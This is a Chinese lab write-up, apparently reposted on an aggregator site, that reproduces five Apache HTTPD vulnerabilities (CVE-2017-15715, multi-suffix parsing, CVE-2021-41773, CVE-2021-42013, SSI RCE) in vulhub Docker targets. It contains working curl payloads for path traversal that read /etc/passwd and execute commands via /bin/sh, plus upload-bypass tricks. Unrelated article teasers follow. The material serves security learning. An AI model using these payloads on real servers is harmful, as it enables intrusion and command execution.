【vulhub靶场】Apache 中间件漏洞复现

news2024/12/24 9:39:41

【vulhub靶场】Apache 中间件漏洞复现

  • 一、Apache HTTPD 换行解析漏洞(CVE-2017-15715)
    • 1. 漏洞详情
    • 2. 影响版本
    • 3. 漏洞复现
  • 二、Apache多后缀解析漏洞(apache_parsing_vulnerability)
    • 1. 漏洞详情
    • 2. 漏洞复现
  • 三、Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)
    • 1. 漏洞详情
    • 2. 影响版本
    • 3. 漏洞复现
  • 四、Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)
    • 1. 漏洞详情
    • 2. 影响版本
    • 3. 漏洞复现
  • 五、Apache SSI 远程命令执行漏洞
    • 1. 漏洞详情
    • 2. 漏洞复现

一、Apache HTTPD 换行解析漏洞(CVE-2017-15715)

1. 漏洞详情

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。 其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。1.php\x0A

2. 影响版本

Apache  2.4.0~2.4.29

3. 漏洞复现

开启靶机,运行漏洞环境

root@Fly:~/vulhub/httpd/CVE-2017-15715# docker-compose up -d
root@Fly:~/vulhub/httpd/CVE-2017-15715# docker-compose build

启动后访问:http://192.168.111.146:8080
在这里插入图片描述
上传一个木马文件2.php,可见上传失败。
在这里插入图片描述
在1.php后面插入一个(注意,不能是,只能是一个),不再拦截:\x0A\x0D\x0A\x0A,可以看到上传成功!
在这里插入图片描述

二、Apache多后缀解析漏洞(apache_parsing_vulnerability)

1. 漏洞详情

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。在有多个后缀的情况下,只要一个文件含有后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

2. 漏洞复现

开启靶机,运行漏洞环境

root@Fly:~/vulhub/httpd/apache_parsing_vulnerability# docker-compose up -d

启动后访问:http://192.168.111.146:8080
在这里插入图片描述
上传php文件进行抓包,由于设置了白名单,在上传php后缀文件后,会被拦截,无法正常进行上传。
在这里插入图片描述
白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件,利用Apache解析漏洞进行getshell。
在这里插入图片描述
由此可见,上传成功!

三、Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)

1. 漏洞详情

Apache HTTP Server 2.4.49 中的路径规范化所做的更改中发现一个缺陷。攻击者可利用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。

如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程执行代码。

2. 影响版本

Apache HTTP Server 2.4.49

3. 漏洞复现

开启靶机,运行漏洞环境

root@Fly:~/vulhub/httpd/CVE-2021-41773# docker-compose up -d
root@Fly:~/vulhub/httpd/CVE-2021-41773# docker-compose build

启动后访问:http://192.168.111.146:8080
在这里插入图片描述

┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --path-as-is http://192.168.111.146:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述
已成功披露:/etc/passwd
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许执行任意命令:

┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --data "echo;id" 'http://192.168.111.146:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

在这里插入图片描述

四、Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)

1. 漏洞详情

CVE-2021-42013 是由 CVE-2021-41773 修复不完整所致的漏洞,攻击者可能使用路径遍历攻击将 URL 映射到类似别名指令配置的目录之外的文件。

2. 影响版本

Apache HTTP Server 2.4.49 和 2.4.50

3. 漏洞复现

开启靶机,运行漏洞环境

root@Fly:~/vulhub/httpd/CVE-2021-42013# docker-compose build
root@Fly:~/vulhub/httpd/CVE-2021-42013# docker-compose up -d

启动后访问:http://192.168.111.146:8080

在这里插入图片描述
Apache HTTP Server 2.4.50 修补了之前的 CVE-2021-41773 有效负载,但不完整。
用于绕过补丁(请注意,必须是现有目录):.%2e替换为.%%32%65

─(kali㉿kali)-[~/Desktop]
└─$ curl -v --path-as-is http://192.168.111.146:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

在这里插入图片描述
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许执行任意命令:

┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --data "echo;id" 'http://192.168.111.146:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

在这里插入图片描述

五、Apache SSI 远程命令执行漏洞

1. 漏洞详情

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。

2. 漏洞复现

开启靶机,运行漏洞环境(支持SSI与CGI的Apache服务器)

root@Fly:~/vulhub/httpd/ssi-rce# docker-compose build
root@Fly:~/vulhub/httpd/ssi-rce# docker-compose up -d

启动后访问:http://192.168.111.146:8080
在这里插入图片描述
正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:
在这里插入图片描述
成功上传,然后访问shell.shtml,可见命令已成功执行:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1660868.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【CCF-CSP】202403-3 化学方程式配平

输入格式: 从标准输入读入数据。 输入的第一行包含一个正整数 n,表示需要判断的化学方程式的个数。 接下来的 n 行,每行描述了一个需要被配平的化学方程式。包含空格分隔的一个正整数和全部涉及物质的化学式。其中,正整数 m 表…

驱动开发-字符设备驱动的注册与注销

1.注册字符设备驱动 #include<fs.h> int register_chrdev(unsigned int major,const char *name,const struct file_operations *fops) 函数功能&#xff1a;注册字符设备驱动 参数&#xff1a;major&#xff1a;主设备号 major>0:静态指定主设备号&#xff0c;不…

创新指南|将会话式AI聊天机器人纳入PLG增长战略

想象一个繁荣的数字城市广场&#xff0c;志同道合的人们在这里分享他们的激情、经验和知识。想象一个将房东与旅行者、顾客与司机、人们与他们喜爱的品牌无缝连接起来的平台。在这个世界里&#xff0c;用户交流促进增长&#xff0c;社区成为推动力。 如果您的应用程序天生不符…

win10无法被远程桌面连接,Win10系统无法被远程桌面连接的原因有哪些

win10无法被远程桌面连接&#xff0c;Win10系统无法被远程桌面连接的原因有哪些&#xff1f; 先&#xff0c;我们需要明确Win10系统无法被远程桌面连接的可能原因。其中&#xff0c;最常见的原因包括&#xff1a;远程桌面功能未启用、网络连接问题、防火墙或安全软件设置不当、…

kubernetes删除命名空间下所有资源

kubernetes强制删除命名空间下所有资源 在 Kubernetes 中&#xff0c;当一个命名空间处于 Terminating 状态但不会完成删除过程时&#xff0c;通常是因为内部资源没有被正确清理。要强制删除这个命名空间及其所有资源&#xff0c;你可以采取以下步骤&#xff1a; 1. 确认命名空…

Rocketmq如何保证消息不丢失和幂等性

生产者 生产者通过RocketMQ提供的事务消息&#xff08;两阶段提交&#xff09;能保证消息的一致性。 第一阶段给Broker发送一个半事务消息&#xff0c;半事务消息是不能消费的消息&#xff0c;broker已经收到生产者发送的消息&#xff0c;但是并未收到生产者的二次确认&#x…

网络编程--tcp三次握手四次挥手

1、三次握手 &#xff08;1&#xff09;三次握手的详述 首先Client端发送连接请求报文&#xff0c;Server段接受连接后回复ACK报文&#xff0c;并为这次连接分配资源。Client端接收到ACK报文后也向Server段发生ACK报文&#xff0c;并分配资源&#xff0c;这样TCP连接就建立了。…

【计算机毕业设计】springboot果蔬种植销售一体化服务平台

伴随着我国社会的发展&#xff0c;人民生活质量日益提高。于是对果蔬种植销售一体化服务管理进行规范而严格是十分有必要的&#xff0c;所以许许多多的 信息管理系统应运而生。此时单靠人力应对这些事务就显得有些力不从心了。所以本论文将设计一套果蔬种植销售一体化服务平台&…

【LLM 论文】Chain-of-Verification:通过验证链来减少 LLM 幻觉

论文&#xff1a;Chain-of-Verification Reduces Hallucination in Large Language Models ⭐⭐⭐ arXiv:2309.11495 论文速读 LLM 由于不可避免地会产生幻觉&#xff0c;现有的研究主要鼓励 LLM 在产生 response 之前生成内部思想的推理链&#xff0c;或者通过 self-critique…

FreeRTOS任务调度器

目录 1、什么是任务调度器 2、FreeRTOS中的任务调度器 2.1 抢占式调度 2.2 时间片调度 2.3 协作式调度 3、任务调度案例分析 3.1 实验需求 3.2 CubeMX配置 3.3 代码实现 3.3.1 uart.c 重定向printf 3.3.2 打开freertos.c并添加代码 3.3.4 代码现象 1、什么是任务调度…

苹果电脑免费第三方软件CleanMyMac X2025电脑版垃圾清理软件神器

Mac电脑用户在长时间使用电脑之后&#xff0c;时常会看到“暂存盘已满”的提示&#xff0c;这无疑会给后续的电脑使用带来烦恼&#xff0c;那么苹果电脑暂存盘已满怎么清理呢&#xff0c;下面将给大家带来一些干货帮你更好地解决这个问题。 CleanMyMac X2024全新版下载如下: h…

【C++】list的使用与模拟实现

&#x1f525;个人主页&#xff1a;北辰水墨 &#x1f525;专栏&#xff1a;C学习仓 本节内容我们来讲解list的使用和模拟实现。 本节难点&#xff1a;list迭代器的模拟实现。 一、list的介绍&#xff1a; 列表 列表是一种序列容器&#xff0c;允许在序列的任何位置进行时间复…

winform植物大战僵尸

winform植物大战僵尸 植物大战僵尸源码 半成品 需要的拿去学习 登陆注册选择关卡 向日葵 豌豆射手 双枪豌豆射手 项目获取&#xff1a; 项目获取&#xff1a;typora: typora/img (gitee.com) 备用项目获取链接1&#xff1a;yifeiyixiang/kamo: 源码下载 (github.com) 备用…

Python图形复刻——绘制母亲节花束

各位小伙伴&#xff0c;好久不见&#xff0c;今天学习用Python绘制花束。 有一种爱&#xff0c;不求回报&#xff0c;有一种情&#xff0c;无私奉献&#xff0c;这就是母爱。祝天下妈妈节日快乐&#xff0c;幸福永远&#xff01; 图形展示&#xff1a; 代码展示&#xff1a; …

一定行:从零起步进入Java世界

郑重声明&#xff1a;本篇博客唯一目的就是带你从零起步&#xff0c;成功编写并运行你的第一个Java应用。 零&#xff1a;先给祖师爷来上柱香 Java之父简介 英文名&#xff1a;James Gosling中文名&#xff1a;詹姆斯高斯林祖籍&#xff1a;加拿大出生年&#xff1a;1955照片…

INS 论文分享:一种用于交通流预测的多通道时空Transformer模型

本文主要介绍了我们在长期交通流预测方面的最新研究成果&#xff0c;该成果已发表在信息学领域的顶级期刊《Information Sciences》上&#xff0c;论文题目为《A Multi-Channel Spatial-Temporal Transformer Model for Traffic Flow Forecasting》。该论文的第一作者及通讯作者…

Android项目转为鸿蒙,真就这么简单?

最近做了一个有关Android转换成鸿蒙的项目。经不少开发者的反馈&#xff1b;许多公司的业务都增加了鸿蒙板块。 对此想分享一下这个项目转换的流程结构&#xff0c;希望能够给大家在工作中带来一些帮助。转换流程示意图如下&#xff1a; 下面我就给大家介绍&#xff0c;Android…

Android 屏幕适配全攻略(上)-掌握屏幕单位,应对千变万化的设备

本文从 Android 开发中常见的长度单位 px、dp、sp 入手&#xff0c;详细介绍了它们的特点及转换关系。 接着深入探讨了屏幕尺寸、分辨率、像素密度等重要的屏幕指标&#xff0c;帮助读者全面理解它们之间的联系。最后&#xff0c;通过实例代码演示了如何在代码中进行单位转换&…

UE4\UE5 调试源代码流程(重点讲不去Github装源代码情况)

UE4\UE5 调试源代码流程 前言&#xff1a; 很多写UE C代码的小伙伴&#xff0c;肯定发现了&#xff0c;在虚幻源代码里面是没办法打断点进行调试的&#xff0c;就算走Debug调试流程&#xff0c;也依旧不能正常打断点调试&#xff0c;今天我们来分享一下不装Github源代码情况下…

Python语言基础学习(上)

目录 一、常量和表达式 二、变量和类型 2.1 认识变量 2.2 定义变量 2.3 变量类型 1、整数 int 2、浮点数&#xff08;小数&#xff09;float 3、字符串 str 4、布尔类型 2.4 类型转换 三、注释 3.1 单行注释 3.2 文档注释&#xff08;或者多行注释&#xff09; …